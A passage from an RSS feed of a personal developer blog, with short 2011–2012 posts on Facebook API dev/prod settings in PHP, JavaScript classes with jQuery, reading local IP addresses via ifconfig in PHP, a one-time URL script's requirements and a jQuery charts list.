&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$facebook_api</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;dev&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">self</span><span style="color: #339933;">::</span><span style="color: #000088;">$facebook_api</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;prod&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>Set your Facebook API Key and Secret to the &#8220;dev&#8221; and &#8220;prod&#8221; modes.<br />
Now we will change the way we connection to facebook api to get the<br />
settings from our new class.</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #000088;">$facebook_settings</span> <span style="color: #339933;">=</span> ApplicationSettings<span style="color: #339933;">::</span><span style="color: #004000;">get_facebook</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000088;">$facebook</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Facebook<span style="color: #009900;">&#40;</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'appId'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$facebook_settings</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'secret'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$facebook_settings</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;secret&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><br />
<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>Now every time we connect to Facebook API the settings class will<br />
check our domain and if we work on &#8220;127.0.0.1&#8243; its automatically<br />
gets the &#8220;dev mode&#8221; API that pointed to our local application.</p>
<p>Have Fun <img src='http://garry-lachman.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Garry Lachman</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/02/24/develope_facebook_application_locally/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/02/24/develope_facebook_application_locally/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2012%2F02%2F24%2Fdevelope_facebook_application_locally%2F&amp;title=Develop%20PHP%20Facebook%20Application%20Locally%20%E2%80%93%20Dev%20Mode" id="wpa2a_8"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2012/02/24/develope_facebook_application_locally/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Create Classes and Object in JavaScript &amp; jQuery</title>
		<link>http://garry-lachman.com/2012/02/01/create-classes-and-object-in-javascript-jquery/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2012/02/01/create-classes-and-object-in-javascript-jquery/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 10:06:52 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Object Oriented]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=259</guid>
		<description><![CDATA[There is few ways to create javascript object and use its as class. In this artical i will you my favorite way to implement javascript classes. I will combaine jQuery in this example. First of  &#8230; <a href="http://garry-lachman.com/2012/02/01/create-classes-and-object-in-javascript-jquery/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2012%2F02%2F01%2Fcreate-classes-and-object-in-javascript-jquery%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>There is few ways to create javascript object and use its as class.<br />
In this artical i will you my favorite way to implement javascript classes.<br />
I will combaine jQuery in this example.</p>
<p>First of all lets create basic object:</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> GarryObj <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; init<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>options<span style="color: #339933;">,</span> target<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span> <span style="color: #339933;">=</span> $.<span style="color: #003366; font-weight: bold;">extends</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span><span style="color: #339933;">,</span> options<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$target <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>target<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>._draw<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; options<span style="color: #339933;">:</span>&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; width<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; height<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; _draw<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">this</span>.$target.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>width<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">width</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">options</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>We create here basic class that have 2 functions and one object to store the options.<br />
the init class gets user options and the target (like html div).<br />
then we merge the default options with the user options using jQuery extends function and<br />
store the target as jQuery instance as $target.</p>
<p>The _draw function manipulate the target &#8211; here we build the ui by user options.</p>
<p>To create an instance of the class we need to add some code to the (i use to put it on js heaer file).</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> Object.<span style="color: #660066;">create</span> <span style="color: #339933;">!==</span> <span style="color: #3366CC;">'function'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; Object.<span style="color: #660066;">create</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>o<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">function</span> F<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; F.<span style="color: #660066;">prototype</span> <span style="color: #339933;">=</span> o<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">new</span> F<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>Now lets create a instance of our class:</p>
<p>We need to add target div:</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;test_div&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>and than</p>
<div class="codecolorer-container javascript blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #003366; font-weight: bold;">var</span> garryTest <span style="color: #339933;">=</span> Object.<span style="color: #660066;">create</span><span style="color: #009900;">&#40;</span>GarryObj<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
garryTest.<span style="color: #660066;">init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>width<span style="color: #339933;">:</span> <span style="color: #CC0000;">150</span><span style="color: #339933;">,</span> height<span style="color: #339933;">:</span> <span style="color: #CC0000;">150</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#test_div&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>Have fun <img src='http://garry-lachman.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Garry Lachman</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/02/01/create-classes-and-object-in-javascript-jquery/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/02/01/create-classes-and-object-in-javascript-jquery/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2012%2F02%2F01%2Fcreate-classes-and-object-in-javascript-jquery%2F&amp;title=Create%20Classes%20and%20Object%20in%20JavaScript%20%26%20jQuery" id="wpa2a_10"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2012/02/01/create-classes-and-object-in-javascript-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP: Get local ip adresses using ifconfig (linux only)</title>
		<link>http://garry-lachman.com/2012/01/02/php-get-local-ip-adresses-using-ifconfig-linux-only/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2012/01/02/php-get-local-ip-adresses-using-ifconfig-linux-only/#comments</comments>
		<pubDate>Mon, 02 Jan 2012 15:15:23 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[PHP + mySQL]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[ifconfig]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[local]]></category>
		<category><![CDATA[localhost]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=254</guid>
		<description><![CDATA[Hi, I wrote little code to get local machine ip address: 1234567891011121314151617&#160; &#160; &#160; &#160; function get_machine_ips&#40;&#41; &#160; &#160; &#160;&#123; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; $ips = array&#40;&#41;; &#160; &#160; &#160; &#160;  &#8230; <a href="http://garry-lachman.com/2012/01/02/php-get-local-ip-adresses-using-ifconfig-linux-only/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2012%2F01%2F02%2Fphp-get-local-ip-adresses-using-ifconfig-linux-only%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hi,</p>
<p>I wrote little code to get local machine ip address:</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> get_machine_ips<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$ips</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/sbin/ifconfig&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$catch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$catch</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'inet addr:'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$line</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot; &quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$line</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$line</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array_filter"><span style="color: #990000;">array_filter</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$line</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$v</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/ip2long"><span style="color: #990000;">ip2long</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$v</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$ips</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$v</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$ips</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>have fun<br />
Garry</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/01/02/php-get-local-ip-adresses-using-ifconfig-linux-only/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/01/02/php-get-local-ip-adresses-using-ifconfig-linux-only/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2012%2F01%2F02%2Fphp-get-local-ip-adresses-using-ifconfig-linux-only%2F&amp;title=PHP%3A%20Get%20local%20ip%20adresses%20using%20ifconfig%20%28linux%20only%29" id="wpa2a_12"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2012/01/02/php-get-local-ip-adresses-using-ifconfig-linux-only/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Requirements Specification for: Advance One Time URL script</title>
		<link>http://garry-lachman.com/2011/12/21/requirements-specification-for-advance-one-time-url-script/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2011/12/21/requirements-specification-for-advance-one-time-url-script/#comments</comments>
		<pubDate>Wed, 21 Dec 2011 11:39:16 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Advance]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[one time link]]></category>
		<category><![CDATA[one time url]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Requirements]]></category>
		<category><![CDATA[Specification]]></category>
		<category><![CDATA[url]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=246</guid>
		<description><![CDATA[Hi, I`m planning to build new One Time URL script, after i found that the old version is bit problematic, i start to planning Advance One Time URL script. Requirements Specification: using mySql as db.  &#8230; <a href="http://garry-lachman.com/2011/12/21/requirements-specification-for-advance-one-time-url-script/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2011%2F12%2F21%2Frequirements-specification-for-advance-one-time-url-script%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hi,<br />
I`m planning to build new One Time URL script, after i found that the old version is bit problematic, i start to planning Advance One Time URL script.</p>
<p>Requirements Specification:</p>
<ol>
<li>using mySql as db.</li>
<li>make one time url and store it in db.</li>
<li>option to make few times url with limit.</li>
<li>using http headers to force download &#8211; and not redirect as old script.</li>
<li>mod_rewrite mode.</li>
<li>regular link mode.</li>
<li>install script &#8211; build the mySql schema.</li>
<li>custom redirection for expired links.</li>
<li>config file (db params, redirection params, default mode, etc&#8230;).</li>
</ol>
<p>&nbsp;</p>
<p>If you have more ideas, you can write it as comment.</p>
<p>Thanks,<br />
Garry</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/12/21/requirements-specification-for-advance-one-time-url-script/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2011/12/21/requirements-specification-for-advance-one-time-url-script/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2011%2F12%2F21%2Frequirements-specification-for-advance-one-time-url-script%2F&amp;title=Requirements%20Specification%20for%3A%20Advance%20One%20Time%20URL%20script" id="wpa2a_14"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2011/12/21/requirements-specification-for-advance-one-time-url-script/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>7 best jQuery charts engines</title>
		<link>http://garry-lachman.com/2011/11/08/7-best-jquery-charts-engines/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2011/11/08/7-best-jquery-charts-engines/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 09:21:20 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[chart]]></category>
		<category><![CDATA[charts]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=231</guid>
		<description><![CDATA[A chart is a graphical representation of data, in which &#8220;the data is represented by symbols, such as bars in a bar chart, lines in a line chart, or slices in a pie chart&#8221;.[1] A  &#8230; <a href="http://garry-lachman.com/2011/11/08/7-best-jquery-charts-engines/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2011%2F11%2F08%2F7-best-jquery-charts-engines%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<blockquote><p>A chart is a graphical representation of data, in which &#8220;the data is represented by symbols, such as bars in a bar chart, lines in a line chart, or slices in a pie chart&#8221;.[1] A chart can represent tabular numeric data, functions or some kinds of qualitative structures. [wikipedia]
</p></blockquote>
<h2>List of jQuery based Charts</h2>
<hr/>
<br/></p>
<h4><a href="http://www.jqplot.com/index.php">jqPlot</a></h4>
